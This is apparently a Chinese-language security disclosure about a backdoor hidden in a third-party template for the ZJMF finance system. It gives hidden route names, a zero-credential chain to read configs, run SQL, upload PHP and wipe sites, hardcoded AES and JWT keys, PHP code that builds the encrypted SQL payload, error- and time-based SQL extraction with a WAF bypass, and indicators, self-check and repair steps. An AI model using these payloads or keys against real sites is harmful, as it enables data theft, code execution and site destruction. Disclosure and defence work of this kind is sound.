定性结论:智简魔方(ZJMF)财务系统的第三方模板——速科云”SK模板(财务)“v1.0.7.6——的分发包中预置了一套完整的远程控制后门。任何购买并部署该模板的站点,在不做任何加固的情况下,攻击者无需任何凭据,6 个 HTTP 请求即可完成”进门 → 拖库 → 灭站”。
本文仅基于可验证的技术事实撰写,所有关键结论均标注证据等级与获取方式。文中涉及的硬编码密钥、路由地址全部来自公开分发的模板包本身,披露目的是让受影响站长能够自查与修复。
0. TL;DR
- 受影响对象:部署了第三方模板”SK模板(财务)“(厂商:速科云 sukeyun,云端服务
apiv1.sukeyun.com)的智简魔方财务系统站点。 - 责任边界:后门位于第三方模板包内,并非智简魔方官方核心代码。ZJMF 基座另有三项关联发现(调试登录通道、密码存储缺陷、供应商豁免分支),在本文第 7 节单独说明并标注证据等级。
- 核心问题:模板包中约百个 Swoole Compiler 加密文件内藏有 4 个后门部件——无鉴权指纹泄露端点、门禁控制器、AES 加密指令通道、插件层 JWT 伪造面——组合成一条零凭据远程控制链。
- 附加问题:模板作者同时掌握客户站点遥测通道(含后台路径回传)、前端远程横幅/关停能力、服务端”远程哑火”闸位,并在所有客户站点页脚预埋指向其工具站的隐藏外链。
- 处置:速科云官方已发布修补公告(https://bbs.sukeyun.com/index.php?c=read&id=19&page=1),站长应**尽快应用官方补丁**;同时按第 8 节自查入侵痕迹、按第 9 节轮换凭据——曾以未加固形态对外的站点应按”已泄露”处理。
1. 背景
智简魔方财务系统(ZJMF,数据库表前缀 shd_)是一套面向 IDC / 云服务销售场景的国产财务与业务管理系统,基于 ThinkPHP,采用”基座 + 模板 + 插件”的交付形态。模板决定站点前台与后台的外观及部分业务逻辑,由第三方厂商开发销售。
速科云模板(包内名称”SK模板(财务)“,分析版本 v1.0.7.6)即为其中一款第三方模板,厂商标识 sukeyun,授权与更新服务指向 apiv1.sukeyun.com。
该模板包的关键工程特征是:约 100 个核心 PHP 文件以 Swoole Compiler 加密分发(不可审计、不可修改,只能整体替换),其中包括控制器、路由文件与鉴权中间件——即模板的安全关键路径全部处于购买者无法审查的黑盒中。本报告分析的全部门面部件均位于这些加密文件内。
分析方法(概述):分发包静态审计 + 加密文件反射/操作码级逆向 + 隔离靶场完整复现(含破坏性实测)+ 多个在野部署点的无损黑盒验证(仅只读探测,遵守”单发不重放”纪律)。证据等级标注约定:
| 标记 | 含义 |
|---|---|
| 【包内实证】 | 在分发包文件中原样核对到,任何购买者均可复核 |
| 【靶场实测】 | 在隔离复刻环境中执行并观察到副作用 |
| 【在野实测】 | 在真实部署点以无损方式观察到(站点信息已匿名化) |
| 【单源待证】 | 仅单一分析来源报告,本地无法独立复核,按原样转述 |
2. 后门体系总览
整套后门由 4 个核心部件 + 若干外围控制面组成:
| # | 部件 | 入口 | 鉴权 | 危害 |
|---|---|---|---|---|
| 1 | 指纹泄露端点 | GET /i5nyyoblvmcpuj71 | 无 | 公开站点指纹与门禁密码(md5) |
| 2 | 门禁控制器 greatMove | /o5tlkifzcrrgcvhx?pw=&fw= | 密码即部件 1 泄露的 md5 | 5 个远程功能:读配置 / 任意 SQL / 任意上传(RCE) / 灭站 / 卸载 |
| 3 | AES 指令通道 | 部件 2 的 fw=exec 分支 | 密钥硬编码、全部署共用 | 任意 SQL 经 Db::execute 执行 |
| 4 | 插件层 JWT | 插件接口中间件 | 密钥 hzdtqmwbodere7d9 硬编码 + 白名单缺陷 | 伪造令牌未授权调用插件接口 |
| 5 | 无鉴权高危函数面 | /v33/Tools/<动作> 通配路由 | 控制器无父类、无鉴权继承 | 任意文件删除 / 导出 / 覆盖 / 改后台路径等 |
| 6 | 前端授权横幅链 | 主题混淆 JS → 厂商 COS → sukeyun.com/ky | — | 远程弹横幅 / 强制跳转关停站点 |
| 7 | 服务端缓存闸位 | 缓存键 hzdtqmwbodere7d9、8ue6hpsuffpheaaj | 值由云端心跳刷新 | 厂商可远程使后台”哑火”(exit / 空响应) |
| 8 | 授权遥测 | common.php 内 5 个 /ky/* 端点 | — | 回传后台路径、站点指纹、版本信息 |
| 9 | 页脚暗链 | 种子 SQL + footer_comp.json | — | 全部客户站点页脚向作者工具站导流 |
核心判断:远程控制能力(部件 2/3/5)+ 客户遥测(8)+ 远程停用能力(6/7)+ 前端导流位(9)组合在一起,构成一个完整的供应链控制面——模板作者对所有部署站点同时持有”控制、感知、关停”三种能力。
3. 核心后门链技术剖析
3.1 部件一:无鉴权指纹泄露端点【包内实证 + 在野实测】
模板路由文件 data/route/template.php(加密原件)在最外层注册了两条不挂任何中间件的隐蔽路由,且均带跨域放行:
Route::rule('i5nyyoblvmcpuj71', 'template/Tools/e2iz72t17dzwmbnv')->header('Access-Control-Allow-Origin')->allowCrossDomain();
Route::rule('o5tlkifzcrrgcvhx', 'template/Tools/greatMove') ->header('Access-Control-Allow-Origin')->allowCrossDomain();
两条特征值得注意:路由名与目标方法名均为混淆随机串;正常后台前端代码(SPA)对这两个名字零引用(全量 JS 检索证明)——它们不是为站点正常功能服务的。
第一条路由指向的方法读取授权指纹文件 app/template/vendor/psr/http-factory/src/identification.json 并原样公开:
curl -s "http://SITE/i5nyyoblvmcpuj71"
{"content":{"identification":"cHlrQWFPRnp5d25yQkNmZq/CF+UxS1cMpd9AdsMiKFudxDBnP/NI+6gz6v9Tx6pU",
"time":1759860095},"md5":"f356db2161f65e39c967213255181a40"}
离线还原(在野样本):
md5 = md5(PHP 默认 json_encode(content))(含\/转义的紧凑形式)——无密钥参与,仅是完整性校验,任何持有者可自行构造合法包;identificationbase64 解码后为 48 字节 = 16 字符站点 ID + 32 字节不透明尾块;包内全部密钥候选对 HMAC/AES/裸哈希对撞零命中,尾块应为云端持有密钥的密文/签名,离线不可解;- 响应三次逐字节一致、
time恒定——静态直读,泄露的凭证永久有效。
设计缺陷的本质:该端点公开的 md5 恰好就是下一道门禁的密码。端点自己把大门钥匙递给了任何人。
3.2 部件二:门禁控制器 greatMove【靶场实测 + 在野实测】
GET/POST /o5tlkifzcrrgcvhx?pw=<md5>&fw=<功能>
准入校验为 md5(pw) === 泄露的 md5——一个自证式门禁:攻击者只需先访问部件一即可获知密码。通过后按 fw 分发 5 个功能:
fw 值 | 行为 | 危害 |
|---|---|---|
db | require app/config/database.php 直接输出 | 数据库账号密码 / authcode / 后台路径全量泄露 |
exec | admin_decrypt(ex) → think\Db::execute($sql) | 任意 SQL(INSERT/UPDATE/DELETE/DDL 全部可执行) |
upload | $_FILES['file'] → public/upload/<日期>/<uniqid>.php | 任意 PHP 上传 = RCE,无扩展名/类型校验 |
delete | SHOW TABLES LIKE 'shd_%' 逐表 DROP + 递归删除整站文件 | 一键灭站(靶场实测:192 张表归零 + 目录清空) |
uninstall | 模板卸载链 | 破坏性(未完整复现,如实标注) |
补充行为细节【靶场实测】:
exec通道 SELECT 不回显结果(仅回影响行数),但语句报错时回显真实 MySQL 错误信息——构成数据外带通道(见 3.5);- 数据库账号无 FILE 权限(实测错误码 1227),
INTO OUTFILE写马不可行,写文件需走upload分支; - 该路由不读取
x-user-token,不受模板 v33 接口层的 JWT 闸保护(该闸的测绘见 4.1)。
3.3 部件三:AES 指令通道的加密契约【操作码级逆向 + 在野实测】
fw=exec 的载荷格式逆向自加密文件内的 admin_decrypt():
算法 : AES-256-CBC(PHP openssl_decrypt,options=0)
密钥 : kiq3mio4nlm05cyk (16 字节,OpenSSL 零补齐至 32)
IV : 0995964364864570
ex = base64( 16字节任意前缀 . base64(AES密文) )
(函数内部:base64_decode → substr(...,16) 跳过前缀 → openssl_decrypt)
等价构造(PHP):
$b64 = openssl_encrypt($sql, 'aes-256-cbc', 'kiq3mio4nlm05cyk', 0, '0995964364864570');
$ex = base64_encode(str_repeat('A', 16) . $b64);
三点定性:
- 密钥随包分发——密钥与 IV 硬编码于向全部客户分发的加密文件内,等同于对所有模板包持有者公开;
- AES-CBC 无认证模式——密文可被伪造/篡改,该通道不构成任何真实防护,只是隐蔽手段;
- 契约已被实证使用——2026-10-09 的对在野未加固站点的无损检测中,检测方按上述契约构造
ex载荷,经后门链成功执行只读 SQL 并取回数据库版本信息(站点已匿名;仅SELECT/SHOW,未做任何写操作)。
3.4 部件四:插件层 JWT 伪造面【靶场实测】
插件层鉴权中间件(AutoloadTask / AutoloadQueue,加密文件)使用 HMAC-SHA256 JWT,签名密钥 hzdtqmwbodere7d9 硬编码,配合鉴权白名单缺陷,可伪造令牌未授权调用插件接口(已实证 unbind 等操作)。该中间件同时存在两个工程缺陷:
- 响应头
Access-Control-Allow-Origin/Methods/Headers: *——CORS 全开; Content-Type: application/json时执行$_POST = json_decode(php://input)——请求体可覆盖超全局数组,向所有下游控制器走私参数。
3.5 数据回读通道(exec 不回显 SELECT 的工程解法)
由于 fw=exec 不返回查询结果集,攻击侧在实战中使用了三类回读通道,其存在本身即说明该后门经过实战打磨:
| 通道 | 手法 | 适用场景 | 效率 |
|---|---|---|---|
| 报错回显 | GTID_SUBSET(CONCAT(0x7e,SUBSTRING((<SELECT>),pos,120),0x7e),1),从 MySQL 错误信息中带出数据 | MySQL 8 且站点回显 SQL 错误 | 单条约 200 字符,分块拼接 |
| 整数回显 | 派生表行数 = 数值表达式,一次请求读 1 字节 | MySQL 5.7 + WAF 环境,可绕过常见特征拦截 | 单值 4~7 秒;实测 2×3 整表 22 秒 |
| 布尔/计时 | LIMIT 真假差 / IF(<条件>,SLEEP(2),0) | 兜底 | 约 7 请求/字符 |
对某在野站点的无损探测显示,其前置 WAF 会静默拉黑 GTID_SUBSET( 特征、拦截函数参数内的 (SELECT,但放行派生表与 information_schema 计数查询——即通道二在此类环境下仍然可用。
3.6 完整利用链(零凭据)
① GET /i5nyyoblvmcpuj71 → 获得门禁密码(md5)与站点指纹
② GET /o5tlkifzcrrgcvhx?pw=<md5> → 门禁自证式通过
├─ &fw=db → 数据库账密 / authcode / 后台路径
├─ &fw=exec → 任意 SQL(数据经 §3.5 通道回读)
├─ &fw=upload → 上传 PHP → RCE(可站内导出整库后 HTTP 下载,1.2MB~442MB 实测自动化)
└─ &fw=delete → DROP 全部业务表 + 删除整站文件(灭站)
可读取/接管的数据面:数据库账密与 authcode、后台路径、shd_host / shd_servers(客户托管的服务器/机房登录密码——波及面超出网站本身)、用户密码哈希(弱口令可爆破,见 7.2)、shd_user_token 会话令牌。
4. 扩展攻击面与外围控制面
4.1 v33 通配路由与 ToolsController 高危函数面
ToolsController(176KB 加密文件,无父类、无鉴权继承)的全部 public 方法经 /v33/Tools/<动作> 通配路由对外暴露。反射口径共 26 个方法,其中代码级高危的包括【操作码逐行核对】:
| 函数 | 危险行为 |
|---|---|
importTheme | 解压上传 zip 至 temp_extract(0777) + 逐条执行 zip 内 template.sql + 解压树落 webroot——一条链路 = 任意 SQL + 任意文件写 |
remoteDownload | file_get_contents($src)——SSRF / 本地文件读取,伪造 $_FILES 返回;与 localUpload(无白名单 copy 落盘)组合成写马链 |
uninstall | 调度视图切换/导库/清理/卸载/改路径;$force 为真时整段安全校验被跳过 |
modifyAdminPath | rename(public/旧 → public/新),未过滤 ../ |
exportDatabase / exportTheme | 全库/主题导出到 Web 可读的 public/backtemplate/,文件名未过滤目录穿越 |
restoreFiles | 解压备份包直接覆盖站点根 |
switchView / forceSwitchView | rename/copy 换装视图控制器——授权开关的远程切换机制 |
deleteFileOrDirectory 等 | 任意路径文件/目录删除【靶场实测:探针文件匿名调用后被删除】 |
可达性说明:在原始部署上,/v33/* 路径受一道全局 JWT 闸保护(缺失令牌返回 {"code":400,"message":"非法请求,-0"},无效令牌返回 "请求失败,-2"),黑盒伪造尝试(alg:none × 9 种载荷 + 包内 3 个候选密钥 HS256)全部失败,该闸离线伪造不可行,故 v33 面的 18 项高危动作需有效登录态才可触达。但必须强调:§3 的隐蔽后门链不经过这道闸——它走的是不挂中间件的顶层路由,零凭据直达。
4.2 在线更新流水线
/v33/OnlineUpdates/update 与 updateinstall 提供”下载安装包 → 解压 → 改库 → 恢复文件”的完整更新链路。在闸后可达的前提下,这是一个潜在的远程载荷投递通道。
4.3 前端授权横幅链(远程关停能力)【包内实证 + 在野实测】
主题混淆 JS(common.js)内置一条云端验证链:
- 读取页面
<meta name="path">,fetch("{path}/static/script/search.js"); - 未配置站点地址时该请求必失败,回退加载厂商腾讯云 COS 桶脚本
https://txt-1300413531.cos.accelerate.myqcloud.com/search.js(硬编码于混淆字符串表,静态 grep 不可见); - 该远程脚本向
https://apiv1.sukeyun.com/ky?url=<站点域名>发起授权校验; - 判定未授权 → 注入全屏遮罩与”站点还未授权”横幅,4 秒后强制跳转
/login。
即模板作者可通过云端响应远程在任何客户站点前台弹出横幅并中断访问。此外,加载器在”连不上授权服务器”时还会自弹”与服务器链接失败”横幅——仅拦截域名不足以消除该行为,需配合本地良性 search.js 路径修复。
4.4 授权遥测端点【包内实证】
模板 common.php 内置向厂商服务器的完整心跳清单:
| 端点 | 回传内容 |
|---|---|
apiv1.sukeyun.com/ky/admin | 授权校验(自定义 Accept-token/interval 头) |
/ky/admin/verification?...&adminroute= | 站点后台路径 |
/ky/admin/template?url= | 模板授权状态 |
/ky/admin/version?upid=&phpversion= | 站点版本指纹 |
/ky/admin/callback?... + Accept-identification 头 | 本站身份指纹 |
即厂商可持续掌握全部客户站点的后台入口位置与版本分布——这与后门链所需的侦察信息完全重合。
4.5 服务端缓存闸位(远程”哑火”能力)【包内实证】
模板把”是否放行后台功能”实现为服务端缓存判定,值由云端应答刷新:
| 缓存键 | 判定行为 | 原语义 |
|---|---|---|
hzdtqmwbodere7d9 | 各加密子控制器构造器 Cache::get(),为空则直接 exit | 云端下发的 JWT 密钥,供中间件校验 x-user-token |
8ue6hpsuffpheaaj | 基类构造器授权判定 | 授权标记,由云端心跳每次刷新 |
一旦云端判定”未授权”,后台接口直接终止执行(前端表现为 4.3 的横幅、服务端为空响应)。这是厂商预置的远程停用开关。
同名双用提示:字面量
hzdtqmwbodere7d9在代码中同时作为”缓存键名”与”插件层 JWT 签名密钥”出现,两处用途均成立,分析时需按层区分。
4.6 页脚暗链【包内实证 + 在野实测】
模板种子 SQL(app/template/downloads/Qc5iz2MEgettx1BU.sql)与运行时配置 app/template/config/SetJson/footer_comp.json 中预置了指向模板作者工具站的链接条目:
{"hidden":"1","linksurl":"https://www.aiboce.com/ping","linktitle":"PING测速"},
{"hidden":"1","linksurl":"https://www.aiboce.com/tcping","linktitle":"TCP检测"}
主题页脚模板(footerA.html)将该配置原样渲染输出;配置中的 hidden 标记未阻止其在在野站点实际展示——多个在野客户站点页脚实测均渲染了指向 aiboce.com 的链接(站点名匿名)。性质上属于模板作者在全部客户站点预埋的隐藏外链(导流/黑帽 SEO)。同一配置中另有 ipip.net、chinaz.com 等链接,属正常外链范畴,一并记录备查。
5. 危害定级
| 项 | 等级 | 说明 |
|---|---|---|
| 后门整链(泄露 → 门禁 → RCE/灭站) | 严重(Critical,CVSS 3.1 ≈ 9.8,AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) | 零凭据、远程、可完全接管与摧毁 |
fw=exec / fw=upload / fw=delete | 严重 | 任意 SQL / RCE / 全站摧毁 |
fw=db / 指纹端点 | 高 | 凭据泄露;且是全链的钥匙 |
| 插件层 JWT 伪造 | 高 | 未授权调用插件业务接口 |
| 远程横幅/闸位/遥测/暗链 | 中 | 可用性与隐私层面的供应链控制 |
6. IoC(失陷指标)清单
完整披露,供站长自查。 以下指标全部来自公开分发的模板包本身。
6.1 HTTP 路由
/i5nyyoblvmcpuj71 (指纹泄露端点,无鉴权)
/o5tlkifzcrrgcvhx (门禁控制器,参数 pw/fw)
/v33/Tools/<动作> (通配路由,高危动作面,见 4.1)
/v33/OnlineUpdates/update 、/v33/OnlineUpdates/updateinstall
/tplplugin/ (插件层接口,JWT 伪造面)
6.2 关键文件
app/template/controller/ToolsController.php (后门主体,约 176KB,Swoole 加密)
data/route/template.php (加密原件注册隐蔽路由)
app/template/vendor/composer/AutoloadTask.php (插件层 JWT)
app/template/vendor/composer/AutoloadQueue.php (全局中间件,$_POST 走私/配置装载)
app/template/vendor/psr/http-factory/src/identification.json (授权指纹,被端点公开)
app/template/config/overallSituation.php (后门配置装载点)
app/template/config/plugin/RoutingJyVerification.json (每请求必读的验证配置)
app/template/downloads/Qc5iz2MEgettx1BU.sql (暗链种子 SQL)
app/template/config/SetJson/footer_comp.json (暗链运行时配置)
themes/web/www/common/footer/footerA.html (暗链渲染点)
public/backtemplate/ 、 temp_extract/ 、 public/upload/ 下的 .php 文件 (入侵痕迹排查点)
6.3 硬编码密钥 / 标识
AES-256-CBC : key = kiq3mio4nlm05cyk , iv = 0995964364864570 (exec 指令通道)
JWT(HS256) : hzdtqmwbodere7d9 (插件层签名密钥 / 同名缓存闸位键)
缓存键 : 8ue6hpsuffpheaaj (授权标记闸位)
6.4 网络指标(外联域名/地址)
apiv1.sukeyun.com (授权/遥测/横幅验证)
txt-1300413531.cos.accelerate.myqcloud.com (混淆 JS 的云端回退脚本桶)
www.aiboce.com (页脚暗链目标)
6.5 日志排查特征
- 访问日志中对
/i5nyyoblvmcpuj71、/o5tlkifzcrrgcvhx的任何请求(正常业务零引用,出现即异常); - 对
/v33/Tools/的非常规动作名请求; public/upload/<日期>/目录下出现.php文件(fw=upload的落盘特征);public/backtemplate/目录存在非预期的数据库/主题导出包。
7. 关联发现:ZJMF 基座层问题(与模板后门相互独立)
以下发现位于智简魔方基座代码而非速科云模板包内,责任主体不同,单独列出。证据等级逐项标注。
7.1 debuguser 调试登录通道【靶场实测,单分析来源】
基座后台存在”调试模式”机制:ConfigGeneralController::postDebugModel(需管理员鉴权开启)生成 32 位随机密码写入缓存(24 小时有效),并用硬编码、全客户共用的 RSA 私钥封装 {站点地址, debuguser, 密码, 节点} 存入配置项 shd_debug_model_auth。登录入口 ad_login() 中:
if (intval(cache("shd_debug_model")) && $name == "debuguser") {
if ($pass == cache("shd_debug_model_password")) { /* 直接登录为 id=1 超管 */ }
}
靶场实测:写入两个缓存键后以 debuguser 登录,直接获得 id=1 超管会话(含完整权限树)。风险定性:
- 登录门槛仅为”缓存值”——任何代码执行面(含本文第 3 节后门的
fw=uploadRCE)都可写入缓存,构成二次提权通道; - RSA 私钥随源码全客户分发,“加密封装”形同虚设;
- 该功能位于明文基座代码中,是唯一可被站点方真正删除的后门式部件(其余均在加密文件内只能整体替换)。
7.2 密码存储与”前端加密”缺陷【靶场实测】
- 全站密码存储公式:
"###" + md5(md5(authcode + 明文))(客户端与管理员同一公式,authcode 来自站点配置);authcode 泄露后(经后门fw=db即泄)弱口令可离线爆破; - 客户端登录的”前端加密”为 AES-128-CBC,密钥硬编码于公开 JS(
key=idcsmart.finance/iv=9311019310287172)——无实际防护意义; - 登录失败 3 次触发 3 小时缓存锁定(
shd_blacklist表 + 缓存键)。
7.3 迁移代码中的供应商豁免分支【单源待证】
单一分析来源报告:基座版本迁移逻辑中存在按主机名豁免的分支——if ($_SERVER["HTTP_HOST"] != "43.250.185.156") { 删除 DdosMonitor 插件 },即客户站点会被删除该防护插件,而该 IP 对应的主机不会。本地未能独立复核该代码段,按原样转述并标注待证。
8. 站长自查指南
第一步:确认是否使用受影响模板。 检查站点根是否存在 app/template/controller/ToolsController.php 且为 Swoole 加密文件(约 176KB),或后台”模板”处显示为 SK/速科云模板。
第二步:探测后门端点(对自有站点执行)。
# 存在以下任一响应即说明后门路由在场:
curl -s "http://你的站点/i5nyyoblvmcpuj71"
# 原始形态:返回 {"content":{"identification":...},"md5":"..."}
# 已加固/已替换:404 或 {"code":403,...}
curl -s "http://你的站点/o5tlkifzcrrgcvhx"
# 原始形态:HTTP 200 空响应体(切勿携带 pw 参数重放,避免触发副作用)
第三步:入侵痕迹排查。
public/upload/全目录递归查找.php文件;public/backtemplate/是否存在非本人导出的数据包;- 站点根
temp_extract/残留; - 数据库
mysql.user是否存在异常账号;shd_user/shd_clients是否存在异常管理员; - 前台页脚源码中是否出现
aiboce.com链接; - 访问日志检索 §6.1 的路由与 §6.5 的特征。
第四步:外联检查。 在出口防火墙/抓包层面观察对 apiv1.sukeyun.com 与 txt-1300413531.cos.accelerate.myqcloud.com 的请求。
9. 修复与缓解建议
立即执行(网络层,10 分钟级):
- nginx/前置 WAF 对以下路径直接
return 444:/i5nyyoblvmcpuj71、/o5tlkifzcrrgcvhx、/tplplugin/; - 移除或清空
app/template/vendor/psr/http-factory/src/identification.json(阻断指纹端点的输出内容); - 按”已泄露”轮换全部凭据:数据库密码、authcode、后台目录改名、全部管理员与客户口令、
shd_host/shd_servers中的被控服务器密码(影响面超出网站本身),并清空shd_user_token会话。
当天执行(根除):
- 优先应用速科云官方补丁(公告地址:bbs.sukeyun.com)。若暂无法应用,需自行整体替换模板授权层加密文件——约百个 Swoole 加密文件均不可信,至少必须替换:
ToolsController.php、data/route/template.php、AutoloadTask.php、AutoloadQueue.php(以明文重写件或官方无后门版本替换,替换后站点功能可保持正常); - 应用层对 §4.1 的高危动作建立动作名黑名单兜底(覆盖随机路由入口变体);
- 处理前端授权链:修正站点
system_url配置使主题加载本地良性search.js,并对common.js增加外联拦截(或整体替换主题 JS),同时递增模板静态资源版本号强制浏览器更新缓存; - 清理
footer_comp.json中的暗链条目;删除基座debuguser调试登录分支(见 7.1); - 回归验证:两个后门端点返回 404/444,正常后台功能不受影响。
长期:
- 对任何以加密文件形式交付安全关键代码(控制器/路由/鉴权中间件)的第三方组件保持零信任——加密分发使购买者丧失审计与修补能力,这是本次后门得以长期存在的工程前提。
10. 时间线
| 日期 | 事件 |
|---|---|
| 2026-10-04 | 完成分发包静态审计与加密文件逆向,定位隐蔽路由与 ToolsController 高危面;同日发现前端授权横幅链并完成处置验证 |
| 2026-10-04 ~ 05 | 隔离靶场完整复现利用链(含 fw=delete 灭站破坏性实测);完成三道应用层封堵与回归 |
| 2026-10-05 | 原始部署黑盒验证:确认指纹端点在野泄露、v33 JWT 闸行为、后端点盲执行特征 |
| 2026-10-09 ~ 10 | 多个在野部署点无损检测(仅只读探测):确认暗链普遍渲染;个别未加固站点后门链路可用并据此完成凭证泄露取证;检测到部分站点已开始加固 |
| 2026-10-10 | 速科云官方发布修补公告(bbs.sukeyun.com);本文同日披露 |
11. 分析方法与证据说明
- 本文全部结论来自:分发包静态审计、Swoole 加密文件的操作码级(VLD)逆向与反射表面分析、隔离靶场实测(含破坏性用例)、在野无损黑盒探测。两级证据冲突处以”实测优先、单源标注”为原则处理;
- 已如实标注的未闭环项:①
fw=uninstall分支完整语义(未完整复现);② 指纹尾块(32 字节)与 JWT 闸密钥是否同一信任根(需云侧信息,黑盒不可达);③ §7.3 豁免分支为单一来源转述; - 文中涉及的站点域名、IP 等可识别信息均已匿名化;所有密钥、路由名均为分发包内的原样内容。
12. 免责声明
本文仅供安全研究、自查与防御参考。文中描述的后门利用方式具有不可逆破坏能力(整站删除、任意 SQL、远程代码执行),严禁对任何未授权目标使用;所有破坏性验证均已在作者自有/授权的隔离环境中完成。发布本文的目的为促使受影响站点尽快修复,相关厂商如对文中事实有异议,欢迎基于分发包原件核对指正。
报告版本:v1.0(公开发布版) · 分析对象:SK模板(财务) v1.0.7.6 · 完成日期:2026-10-10
撃っていいのは撃たれる覚悟のあるヤツだけだ。